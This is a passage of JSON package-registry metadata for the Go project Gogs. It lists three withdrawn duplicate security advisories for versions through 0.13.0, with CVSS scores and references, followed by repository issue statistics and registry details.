0.13.0"}],"purl":"pkg:go/github.com%2Fgogs%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04bW02LXdtcHAtbW1tM84AA9ly/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oZjI5LTloZmgtdzYzas4AA9lz","url":"https://github.com/advisories/GHSA-hf29-9hfh-w63j","title":"Duplicate Advisory: Gogs allows argument injection during the previewing of changes","description":"# Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-9pp6-wq8c-3w2c. This link is maintained to preserve external references.\n\n# Original Description\nGogs through 0.13.0 allows argument injection during the previewing of changes.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2024-07-04T18:31:11.000Z","withdrawn_at":"2024-12-23T20:37:16.000Z","classification":"GENERAL","cvss_score":9.4,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-39932","https://www.sonarsource.com/blog/securing-developer-tools-unpatched-code-vulnerabilities-in-gogs-1","https://github.com/gogs/gogs/releases","https://github.com/advisories/GHSA-hf29-9hfh-w63j"],"source_kind":"github","identifiers":["GHSA-hf29-9hfh-w63j"],"repository_url":"https://github.com/gogs/gogs","blast_radius":16.359409281245892,"created_at":"2024-07-05T21:05:27.788Z","updated_at":"2026-06-09T13:05:40.065Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oZjI5LTloZmgtdzYzas4AA9lz","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oZjI5LTloZmgtdzYzas4AA9lz","packages":[{"ecosystem":"go","package_name":"github.com/gogs/gogs","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.13.0"}],"purl":"pkg:go/github.com%2Fgogs%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oZjI5LTloZmgtdzYzas4AA9lz/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0ydmdqLTNwdmcteGg0d84AA9lx","url":"https://github.com/advisories/GHSA-2vgj-3pvg-xh4w","title":"Duplicate Advisory: Gogs allows deletion of internal files","description":"# Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-ccqv-43vm-4f3w. This link is maintained to preserve external references.\n\n# Original Description\nGogs through 0.13.0 allows deletion of internal files. ","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2024-07-04T18:31:10.000Z","withdrawn_at":"2024-12-23T20:37:05.000Z","classification":"GENERAL","cvss_score":9.4,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-39931","https://github.com/gogs/gogs/releases","https://www.sonarsource.com/blog/securing-developer-tools-unpatched-code-vulnerabilities-in-gogs-1","https://github.com/advisories/GHSA-2vgj-3pvg-xh4w"],"source_kind":"github","identifiers":["GHSA-2vgj-3pvg-xh4w"],"repository_url":"https://github.com/gogs/gogs","blast_radius":16.359409281245892,"created_at":"2024-07-05T21:05:27.825Z","updated_at":"2026-06-09T13:05:40.066Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ydmdqLTNwdmcteGg0d84AA9lx","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0ydmdqLTNwdmcteGg0d84AA9lx","packages":[{"ecosystem":"go","package_name":"github.com/gogs/gogs","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.13.0"}],"purl":"pkg:go/github.com%2Fgogs%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ydmdqLTNwdmcteGg0d84AA9lx/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wNjlyLXYzaDQtcmo0Zs4AA9l1","url":"https://github.com/advisories/GHSA-p69r-v3h4-rj4f","title":"Duplicate Advisory: github.com/gogs/gogs affected by CVE-2024-39930","description":"# Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-vm62-9jw3-c8w3. This link is maintained to preserve external references.\n\n# Original Description\nThe built-in SSH server of Gogs through 0.13.0 allows argument injection in internal/ssh/ssh.go, leading to remote code execution. Authenticated attackers can exploit this by opening an SSH connection and sending a malicious --split-string env request if the built-in SSH server is activated. Windows installations are unaffected.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2024-07-04T18:31:10.000Z","withdrawn_at":"2024-12-23T20:37:28.000Z","classification":"GENERAL","cvss_score":9.4,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-39930","https://github.com/gogs/gogs/releases","https://www.sonarsource.com/blog/securing-developer-tools-unpatched-code-vulnerabilities-in-gogs-1","https://www.vicarius.io/vsociety/posts/argument-injection-in-gogs-ssh-server-cve-2024-39930","https://github.com/advisories/GHSA-p69r-v3h4-rj4f"],"source_kind":"github","identifiers":["GHSA-p69r-v3h4-rj4f"],"repository_url":"https://github.com/gogs/gogs","blast_radius":16.359409281245892,"created_at":"2024-07-10T15:05:48.001Z","updated_at":"2026-06-09T13:05:38.708Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNjlyLXYzaDQtcmo0Zs4AA9l1","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wNjlyLXYzaDQtcmo0Zs4AA9l1","packages":[{"ecosystem":"go","package_name":"github.com/gogs/gogs","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.13.0"}],"purl":"pkg:go/github.com%2Fgogs%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNjlyLXYzaDQtcmo0Zs4AA9l1/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/gogs/gogs","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/gogs/gogs","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/gogs/gogs/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-18T17:35:29.717Z","issues_count":234,"pull_requests_count":520,"avg_time_to_close_issue":31467889.774647888,"avg_time_to_close_pull_request":2072257.3394077448,"issues_closed_count":71,"pull_requests_closed_count":439,"pull_request_authors_count":68,"issue_authors_count":205,"avg_comments_per_issue":3.217948717948718,"avg_comments_per_pull_request":0.5365384615384615,"merged_pull_requests_count":355,"bot_issues_count":0,"bot_pull_requests_count":260,"past_year_issues_count":26,"past_year_pull_requests_count":66,"past_year_avg_time_to_close_issue":4521364.166666667,"past_year_avg_time_to_close_pull_request":293936.3823529412,"past_year_issues_closed_count":6,"past_year_pull_requests_closed_count":34,"past_year_pull_request_authors_count":22,"past_year_issue_authors_count":23,"past_year_avg_comments_per_issue":1.5,"past_year_avg_comments_per_pull_request":0.7121212121212122,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":17,"past_year_merged_pull_requests_count":20,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/issues","maintainers":[{"login":"unknwon","count":151,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/unknwon"}],"active_maintainers":[{"login":"unknwon","count":14,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/unknwon"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fgogs%2Fgogs/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fgogs%2Fgogs/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fgogs%2Fgogs/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fgogs%2Fgogs/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fgogs%2Fgogs/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fgogs%2Fgogs/codemeta","maintainers":[],"registry":{"name":"proxy.golang.org","url":"https://proxy.golang.org","ecosystem":"go","default":true,"packages_count":2282222,"maintainers_count":0,"namespaces_count":839591,"keywords_count":126448,"github":"golang","metadata":{"funded_packages_count":72260,"sync_missing_packages_cursor":{"timestamp":"2026-08-17T00:00:58.969562Z","path":"github.com/Tektoncd/operator","version":"v0.78.0"},"rate_limit":1},"icon_url":"https://github.com/golang.png","created_at":"2022-04-04T15:19:22.939Z","updated_at":"2026-09-03T05:01:28.847Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/namespaces"}}]